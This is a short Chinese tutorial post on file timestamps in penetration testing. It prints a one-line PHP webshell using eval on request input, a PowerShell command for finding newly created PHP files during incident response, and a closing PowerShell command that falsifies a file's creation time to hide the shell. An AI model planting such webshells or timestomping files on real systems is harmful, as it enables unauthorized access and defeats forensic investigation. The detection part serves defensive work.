渗透测试时关于文件时间的小技巧

发表于:2018-8-31 10:03

字体: | 上一篇 | 下一篇 | 我要投稿

 作者:zhutougg    来源:zhutougg

  前题
  我们都知道每个文件都有三个时间属性,分别为创建时间,上次修改时间,上次访问时间。我们可以使用powershell命令查看文件的所有属性(ls)[0]|fl *命令解析:以列表的形式展示当前目录第一个文件的所有信息
   
  渗透测试
  shell.php是一个一句话木马的php文件,代码如下<?php  eval($_REQUEST['test']);?>,使用菜刀连接后右键可以修改文件(夹)时间,我们将时间修改为2017年 
   
   然后我们再来看一下该文件属性 
   
   发现菜刀只是修改了上次修改时间,上次访问时间,创建时间仍然是正确的。
  应急响应
  针对这种情况,我们只需要对磁盘进行搜索,以创建时间为准倒序排列即可发现黑客上传的webshell。 powershell的命令为Get-ChildItem -Recurse -Filter *.php G:\ | sort -Descending CreationTime | Select-Object FullName,Length,CreationTime,LastWriteTime | Select-Object -First 10命令解析:查找G盘所有目录下最新创建的10个PHP文件,并展示出文件路径,大小,创建时间,上次修改时间
   
  最后
  为了真正修改文件时间,在使用菜刀修改文件时间后,还需要执行命令powershell ((Get-ChildItem shell.php).CreationTime='2000/8/30 23:59:39')实际渗透时创建时间应该略早于修改时间,或一致
   

   上文内容不用于商业目的,如涉及知识产权问题,请权利人联系博为峰小编(021-64471599-8017),我们将立即处理。
《2023软件测试行业现状调查报告》独家发布~

关注51Testing

联系我们

快捷面板 站点地图 联系我们 广告服务 关于我们 站长统计 发展历程

法律顾问:上海兰迪律师事务所 项棋律师
版权所有 上海博为峰软件技术股份有限公司 Copyright©51testing.com 2003-2024
投诉及意见反馈:webmaster@51testing.com; 业务联系:service@51testing.com 021-64471599-8017

沪ICP备05003035号

沪公网安备 31010102002173号